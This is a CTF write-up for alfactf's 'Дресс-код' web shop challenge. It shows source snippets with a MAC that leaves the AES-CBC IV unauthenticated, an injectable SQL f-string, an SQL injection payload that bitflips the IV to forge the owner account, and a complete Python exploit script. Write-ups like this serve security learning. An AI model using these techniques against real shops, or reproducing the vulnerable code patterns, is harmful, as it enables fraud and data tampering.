Дресс-код
alfactf
Task: a web shop stored purchase transactions as AES-CBC ciphertext with a separate HMAC, then a Rust validator finalized orders asynchronously. Solution: use SQL injection to modify only the IV, bitflip the first plaintext block from our user ID to owner 1000001, bypass balance deduction, receive all required categories, and claim the flag.
$ ls tags/ techniques/
Дресс-код — alfactf
Description
Дресс-код
English summary: the target was a clothing shop where purchases were first written as encrypted pending transactions and later processed by a Rust validator. The goal was to obtain one item from each required clothing category and then call /check_dresscode to receive the flag.
Analysis
Transaction design
Source review showed that the Python shop created purchase transactions as JSON and encrypted them with AES-CBC:
plaintext = json.dumps(data).encode() iv = os.urandom(16) cipher = AES.new(AES_KEY, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) mac = hmac.new(MAC_KEY, ciphertext, hashlib.sha256).hexdigest()
The important flaw is that the HMAC covers only ciphertext, not iv.
The Rust validator repeated the same assumption:
fn verify_mac(&self, ciphertext: &[u8], expected_mac: &str) -> bool { let mut mac = HmacSha256::new_from_slice(&self.mac_key).expect("HMAC key error"); mac.update(ciphertext); let result = mac.finalize().into_bytes(); hex::encode(result) == expected_mac }
In CBC mode, changing the IV changes the first plaintext block after decryption while keeping the ciphertext untouched. Because the MAC ignored the IV, the validator would still accept the modified transaction.
SQL injection primitive
The order comment update route was SQL injectable:
query = f"UPDATE transactions SET comment = '{new_comment}' WHERE id = '{order_id}'"
That let us update arbitrary columns of our own pending order record. We did not need to change the ciphertext or MAC at all; we only needed to change iv server-side.
Why only the first block mattered
The purchase JSON was created as:
trx_data = { 'from': session['user_id'], 'to': recipient_id, 'items': [item['id'] for item in items_in_cart], 'amount': total }
Its first bytes were predictable:
{"from": "<user_id>",
The owner account was 1000001. By registering accounts until our member ID also ended with 1, we only had to change the first six digits in the first block. For the example account 3196751, the first block delta was:
00000000000000000000020109060705
Applying this XOR delta to the IV changed the decrypted from value from 3196751 to 1000001, while to stayed our real account because it appeared later in the plaintext.
Business logic flaw in the validator
The Rust validator contained a special-case branch:
if data.from == String::from("1000001") { println!(" Special case: from is 1000001, skipping balance deduction"); } else { conn.exec_drop( "UPDATE users SET balance = balance - ? WHERE id = ?", (&data.amount, &data.from) ).await }
So if we could forge from == "1000001", the validator would skip balance deduction but would still add all purchased items into the recipient inventory.
Attack Chain
- Register accounts until the generated member ID ends with
1. - Add the cheapest eight required categories to the cart:
[72, 15, 24, 30, 40, 51, 53, 57]. - Create an order so the application stores a pending encrypted purchase.
- Compute the XOR delta for the first block between
{"from": "319675and{"from": "100000. - Exploit SQL injection in
/orders/<order_id>/update_commentto modify only theivfield:
x', iv=HEX(UNHEX(iv)^UNHEX('00000000000000000000020109060705')), comment='x
- Wait for the validator to process the transaction.
- The MAC still verifies because ciphertext is unchanged, but CBC decryption now yields
from = "1000001". - The validator skips owner balance deduction and inserts the purchased items into our inventory.
- Call
/check_dresscodeand receive the flag.
Reproduction
Minimal reproduction with the example values from the solve:
- Register until the profile page shows member ID
3196751. - Add item IDs
72, 15, 24, 30, 40, 51, 53, 57to the cart. - Checkout and note the order ID, for example
65128051-585e-4121-9323-23fe161c971d. - Submit the SQLi payload below as the new comment:
x', iv=HEX(UNHEX(iv)^UNHEX('00000000000000000000020109060705')), comment='x
- After the validator runs, request
/check_dresscode.
Solution
#!/usr/bin/env python3 import re import time import uuid import requests BASE = "https://dresscode-h20qaiqi.alfactf.ru" OWNER_ID = "1000001" ITEM_IDS = [72, 15, 24, 30, 40, 51, 53, 57] def make_session() -> requests.Session: s = requests.Session() s.headers.update({"User-Agent": "Mozilla/5.0"}) return s def register_account(s: requests.Session) -> tuple[str, str]: tag = uuid.uuid4().hex[:10] username = f"user_{tag}" password = f"pass_{uuid.uuid4().hex[:10]}" r = s.post( f"{BASE}/api/register", headers={"Origin": BASE, "Referer": f"{BASE}/register"}, json={"username": username, "password": password}, timeout=30, ) if r.status_code == 200: data = r.json() if not data.get("success"): raise RuntimeError(f"registration failed: {data}") elif r.status_code != 500: raise RuntimeError(f"unexpected registration status: {r.status_code}") return username, password def login(s: requests.Session, username: str, password: str) -> None: r = s.post( f"{BASE}/login", headers={"Origin": BASE, "Referer": f"{BASE}/login"}, data={"username": username, "password": password}, allow_redirects=False, timeout=30, ) if r.status_code not in (302, 303): raise RuntimeError(f"login failed: {r.status_code}") def get_user_id(s: requests.Session) -> str: r = s.get(f"{BASE}/profile", timeout=30) r.raise_for_status() m = re.search(r"Member ID</th>\s*<td[^>]*>(\d{7})</td>", r.text) if not m: raise RuntimeError("could not parse user id") return m.group(1) def add_cart_items(s: requests.Session) -> None: for item_id in ITEM_IDS: r = s.post( f"{BASE}/api/cart/add/{item_id}", headers={"Origin": BASE, "Referer": f"{BASE}/shop"}, timeout=30, ) r.raise_for_status() data = r.json() if not data.get("success"): raise RuntimeError(f"failed adding item {item_id}: {data}") def create_order(s: requests.Session) -> str: r = s.post( f"{BASE}/checkout", headers={"Origin": BASE, "Referer": f"{BASE}/checkout"}, data={"gift_to": "", "comment": ""}, allow_redirects=False, timeout=30, ) if r.status_code not in (302, 303): raise RuntimeError(f"checkout failed: {r.status_code}") location = r.headers.get("Location", "") m = re.search(r"/order/([0-9a-f\-]+)", location) if not m: raise RuntimeError(f"could not parse order id from {location!r}") return m.group(1) def build_delta_hex(user_id: str) -> str: if not user_id.endswith("1"): raise ValueError("user id must end with 1") prefix = b'{"from": "' original = prefix + user_id[:6].encode() target = prefix + OWNER_ID[:6].encode() delta = bytes(a ^ b for a, b in zip(original, target)) return delta.hex() def update_iv_via_sqli(s: requests.Session, order_id: str, delta_hex: str) -> None: payload = f"x', iv=HEX(UNHEX(iv)^UNHEX('{delta_hex}')), comment='x" r = s.post( f"{BASE}/orders/{order_id}/update_comment", headers={"Origin": BASE, "Referer": f"{BASE}/order/{order_id}"}, data={"comment": payload}, allow_redirects=False, timeout=30, ) if r.status_code not in (302, 303): raise RuntimeError(f"comment update failed: {r.status_code}") def try_get_flag(s: requests.Session) -> str | None: r = s.get(f"{BASE}/check_dresscode", timeout=30) m = re.search(r"alfa\{[^}]+\}", r.text) return m.group(0) if m else None def main() -> int: print("[*] registering accounts until member id ends with 1") for reg_try in range(1, 51): s = make_session() try: username, password = register_account(s) login(s, username, password) user_id = get_user_id(s) except Exception as exc: print(f"[-] account {reg_try}: transient failure: {exc}") continue print(f"[+] account {reg_try}: {username} / {user_id}") if not user_id.endswith("1"): continue print(f"[+] selected user id ending with 1: {user_id}") delta_hex = build_delta_hex(user_id) print(f"[+] iv delta: {delta_hex}") for order_try in range(1, 21): print(f"[*] order attempt {order_try}") add_cart_items(s) order_id = create_order(s) print(f"[+] order id: {order_id}") update_iv_via_sqli(s, order_id, delta_hex) time.sleep(4) flag = try_get_flag(s) if flag: print(flag) return 0 print("[-] no flag yet, retrying") print("[-] race lost too many times, trying new account") print("[-] exploit failed") return 1 if __name__ == "__main__": raise SystemExit(main())
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [crypto][Pro]MACdonalds— hackerlab
- [crypto][Pro]Хмак! Будь здоров!— duckerz
- [crypto][Pro]babyCrypto— grsu
- [crypto][Pro]Двойной хэш (Double Hash)— hackerlab
- [web][free]Six-Seven— alfactf